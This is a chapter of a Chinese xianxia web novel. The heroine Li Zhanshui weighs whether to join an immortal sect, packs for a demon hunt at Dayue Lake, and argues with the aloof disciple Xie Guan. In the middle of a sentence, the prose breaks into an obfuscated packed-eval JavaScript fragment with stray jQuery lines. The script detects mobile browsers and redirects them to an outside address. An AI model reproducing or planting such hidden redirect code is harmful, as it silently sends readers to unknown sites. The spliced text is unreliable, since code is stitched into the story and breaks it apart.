李湛水走出门时,还有一阵的恍惚后怕。这个仙师实在是太令人匪夷所思了。她步行踉跄,没注意撞上了走在她前面的谢小真人。
被撞的人纹丝不动,撞的人却脚步迷离还想前进。
谢观有些急躁,回身拦住李湛水的去路,语气冷冷的,“你不想去仙门?你知道这是多少人奢求不来的,容不得你这样挑三拣四。”
李湛水本就剧痛,万千思绪得不到正确答案。想起试炼前他出言不逊,现在更是怒火中烧,不假思索地回敬,“堂堂仙门仗势欺人,强逼于人修道,背离爹娘,不忠不孝。”
谢小真人本意原是劝她,弄巧成拙根本想不到她竟然会说这种话。
谢观闻言面色通红,大步拂袖而去,走的比来的时候还要快。
韩傲雪、柳羡儿和柳钦三个人都守在门口等李湛水出来。
柳羡儿早就冲过来,一把挽着了李湛水的臂膀,把本站立得东倒西歪的李湛水扶正了。
“湛水,你没事吧。”
韩傲雪看到李湛水步履虚浮地出来,料定她和自己一样没被选上,因此意志消沉,脚步也有些虚浮。本想要出言讥讽一番,好好回敬先前柳羡儿的出言不逊。
只是眼见李湛水面色惨白,神形虚弱,比方才的自己还要不堪。韩傲雪刻薄的话哽在心头,怎么也说不出口了。这样想得千回路转,没有人看出她的心思。
李湛水依靠着柳羡儿,借着三分力挺直了腰,“我不要紧,只是有一些脱力。马上轮到你哥哥了,你还是先为他操心吧。”对柳羡儿侧身耳语:“我选上了。”
柳羡儿闻言大喜,又看了韩傲雪一眼,跑向门口去送哥哥了。
不怀好意的眼神又落到这个地方,韩傲雪和李湛水两眼相对。彼此之间有些尴尬不自在,两人并不相熟,特别是两人的渊源惹人注目。
李湛水借口疼痛,主动告辞。
列朝列代的皇室无不孜孜不倦地追求仙道,留下的神迹让人心生雀跃,仿佛仙途唾手可得。
周王与西王母饮酒寻欢,楚王与巫山神女共赴云雨。神总是这样,让最尊贵的人窥见神仙的一角。到底是奖励,还是刻意让凡人嫉妒痴迷、发狂失控?
接触过这一角的人,便会永远无可奈何地陷入其中。哪怕这个人有泼天富贵,还是会痴迷于得不到的永恒。他们已经是天底下最尊贵的人,可天上还有比他们更尊贵,更有权势的人。
如果说不让他们接触到天上瑰丽奇伟的世界,那也许他们在尘世间度过余生时不会那么遗恨。可偏偏他们看到了,甚至亲身经历过那些所见所闻。那么,哪怕天底下最淡薄的人也会为此动心。此人必然会去追求与天地同寿的权柄。
荣华富贵固然是一生所求,可长生不老更加令人神往。纵然是一个小小的方士,他们也会吹嘘自己活了几千几万年。
伏羲予药,孔甲送食,这一生实在太过于漫长,看惯了人间的恨海离愁。人会有病老色衰那天,听此言皆会艳羡不已。横在李湛水面前的就是这种选择。
回到自己的独院。李湛水手腕上割破的地方还隐隐作痛,她心不在焉地放在嘴边吮吸着伤口。
方才的事如同潮般涌来。先是那个女人的声音在脑子里响起来,然后她的手自己动起来,刀割下去并不觉得疼。奇怪的仪式,妖冶的花纹,温热的黄酒,再加上曼娅刀锋般的话语。每一桩都透露着,难以言说的古怪!
还有那个名字,栖霞。那是她的母亲,那个女人提到了她的母亲,那个仙师认识母亲,夫人表现得前所未有的怪异。
她们都知道什么?那个生下她又英年逝去的母亲,李湛水对她没有留下多少记忆。
但是身边的一切又无时无刻地提醒她。所有人心头片片鲜活无双的人物,唯独在她神智里是一个模糊倒影。睁着眼睛也看不清影子,只记得些许温柔。
这上面的每一件事,都让她思虑不通。本来平复的心再次变得有些头疼欲裂。不再多想,又或者是逃避,李湛水转念到即将到来的大月湖之行,她思索接下来自己要面临的抉择。
去仙门么?可惜长生不老和仙门弟子显然不能画上等号。自古以来,羽化登仙者寥寥无几,多活了几年无用的寿命,却丧失肆意的人生。况且除妖如此危险,不能活到寿终正寝的那天吧。
况且她了解修成正果的机遇非常人能所及。她李湛水何德何能,轮得到得到升天?我只是想去外面看看,闯荡江湖,不是想出去送死啊!
再说了,仙门苦修,哪有人间风月舒服?
特别是那个谢小真人明显是不好相处的。自己只是流露几分犹豫,便生拉硬拽威言相迫,一副名门正派道貌岸然的样子。仙师已然决定收李湛水为徒,这个谢小真人还跳出来作怪,仙门显然是束缚多规矩多的地方。
李湛水平生最讨厌束缚,不喜欢谢观的行事做派,连带着对仙门也带上了不妙的滤镜。
她就这样被硬生生拉去仙门,没有任何保证,这种赔本的买卖她可不做。
虽然这个仙师看起来也不靠谱。
只是若能去仙门,更是光耀门楣的好事情。难道不算完成了夫人对她的期望吗?而且李湛水要是去了,至少是夫人无法管束的,能够完全脱离束缚。夫人越不让她做的事,她越是跃跃欲动,这一点,她踌躇心动。
李湛水一向想做英雄,看多了杂书,自以为是以苍生为己任。
李湛水嘴角勾出了一个玩味的笑容。她一贯自诩审时度势,遇到这种两难抉择的时候,就会两样先搁置一边。
去大月湖嘛,李湛水肯定是要走一趟的,毕竟这是她第一次听从那枚铜钱的指引。铜钱说去,她就去,李湛水没见过妖,想必有几分有趣。
斩妖除魔卫道舒民,听上去正是她向往的那样肆意成诗,能够成就一番伟业。等她回来有了这份谈资,一定能洗刷自己不祥之兆。到时候再在兴元府提起她,谁也不敢再提她脑有有反骨的事了!自己回来就是大英雄。到时候再说,自己去不去仙门的事。
想明白了这一点,李湛水亲自收拾行李准备马车,大张旗鼓,带了不少东西。想到这,李湛水心情大好,她哼着歌,眉飞色舞和罗衣闲聊。
“你家小姐我天纵奇才,被仙师一眼相中。天生不凡,生来就有降妖除魔的责任。现在要匡扶正义,为天下苍生走一道。”
“小姐,我看你你回来的时候手都在抖。”
“那是兴奋的!匡扶正义,激动兴奋所以手在抖。你哪只眼睛看出了我在害怕?”
“小姐,我都没有提到害怕,你就把心里话讲出来了。”
李湛水一边说,一边将妆奁里的东西通通翻出来。
东西很多一桩一件都翻了出来,塞入自己要带的包裹中,换洗衣裳、干粮、伤药一应俱全。
甚至还有那枚铜钱,想到此物应验,她美滋滋的,也带上了。
直到那柄泥金折扇翻出来,李湛水的手一顿没拿稳,泥金折扇打了几个滚掉落在地。
李湛水看着掉落出的折扇,脑子里闪过的几个场景,一时失神了。
罗衣提醒她说:“小姐……你是不是忘了中秋灯会?”
中秋灯会,张侃。
李湛水这个时候才想起来,若是去大月湖,此行必然会有冲突,除非连夜赶回,不然时间上太过于紧凑了。
如果自己不去,会发生什么?今天柳羡儿信誓旦旦地保证,让她在花灯下见面。“约在长街,到时候肩并肩沿着河岸走看一岸的花灯。包你事成。”
她捡起折扇,把折扇往包裹里塞了塞,眉头紧锁,“啪”一声把包袱合上。
“再说,来日方长。”李湛水说。
包袱一角,那柄折扇的扇骨凸了出来,刚刚塞进去太过急促没有放好。
罗衣看着那个塞得鼓鼓囊囊的包袱,又看看李湛水,欲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525036|203447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言又止。
李湛水面无表情打开包裹,取出凸出来的折扇,将折扇塞入怀里重新收拾了包袱。
“路上热,我拿来扇风。”
仙师考核完就来面见李湛水了,雷厉风行的要他们出发。
马车上,李湛水摆弄着曼娅临走留给她的东西。
正是之前那把有魔力的小刀,呼唤着她把手腕割开的那把。那把暗纹小刀精巧别致,李湛水甚是喜欢,把玩得爱不释手。
随后李湛水端详着曼娅送她的一张护身符。符纸用的是斑驳的黄纸,有胡乱潦草的朱砂字样,干枯复杂的图样。
谢桓端坐在另一侧,闭目养神。
他气息平稳,面色红润,调节着自己的呼吸律动。刚刚李湛水邀请他上车,毫无顾虑的把他拉进车厢,混混沌沌不知怎么的,鬼使神差的他坐了上来。
李湛水拿着护身符比划着,“谢小真人,这护身符怎么使用?”
谢观睁开眼,将目光移到他这次的搭档身上。
谢观不觉得她能在行动中起到什么作用,而且师伯执意收她为徒不符合规矩。
谢观心里清楚那位师伯笑眼弯弯却极为固执,所认定的事或人难以改变。
他师伯最喜欢这种性格古怪人物,在她门下的每一个弟子,都让自己师尊头疼不已。每收一次徒,自己所在的正一峰都如临大敌。
师伯让李湛水前来大月湖除妖就默认了李湛水必然会拜在门下。没有人能改变师伯的想法,哪怕是他的师尊也不行。大月湖之行是为了让她感悟修仙之道。
谢谢观自认职责所在,态度软和了几分颇有耐心解答,“将灵力注入符中,催动上面的灵力脉络。符纸骤然变热,符文会自然均匀闪烁。则视为催动成功,能抵挡一次金丹修士致命一击。”
“我没灵力怎么注入?这玩意我用不了,给我有什么用啊,废纸一张!”
“等你同意入门,你的师尊自然会教你引体入气的口诀。到时候就可以使用灵力催动这份符篆了。”
“那不是没用,我还是用不了,万一发生意外怎么办?我可不想被妖怪吃掉。”
“倘若没有灵力催动符篆,遇到危险符篆会被动触发。当然也有部分护身效果,但是效果不如主动催动的好。”谢观耐着性子继续说,“正常使用灵力催动符篆能挡金丹修士致命一击。像你这种凡人被动护身,可能会吃点苦头。不用担心你乖乖听我的命令,绝不会有任何危险,也用不上这个。”
李湛水“哦”了一声,又问:“你们仙门不会御剑飞行吗?为什么你要坐马车?为什么你刚刚不进来?”
“御剑飞行会消耗灵力,降妖需要养精蓄锐,而且容易惊动妖物。妖物被惊扰不方便追寻。”
“传送符啊,我看书上说这个能夜行千里。难道你没有这些东西?”
“不可浪费。传送符需用精血炼制,用一张少一张,符修每天炼制也是有限制的。本次出行尚未报备,所以无法使用。”
“那你们怎么来的这么快?你现在还有灵力吗?能保证安全不影响的吧?”
谢观脸臭了,他不明白这个凡人小姑娘怎么如此多话,有这么多问题要问。
“不可理喻。”
李湛水有些不明白,“我就是问一下,你怎么还生气了?”
谢观闭上眼,决定从现在开始,对方问什么都不回了。他第一次好心好意的解答问题,结果就遇到了胡搅蛮缠的好奇宝宝。
他心想师伯自己就是一个奇怪的人,就喜欢收这样的人,符合逍遥峰的调性。本来逍遥峰就都是这样的奇人怪人。每次有人入门,不知道要添多少麻烦。
他的师尊向来与这位师伯不和,见不惯师伯老收那么多奇怪的弟子。那位师伯的弟子个个张狂难缠,他也有些对那一峰的人不满。
李湛水有些懊恼,见他不再理睬自己,只觉得他更不好相处,为人冷淡心气颇大。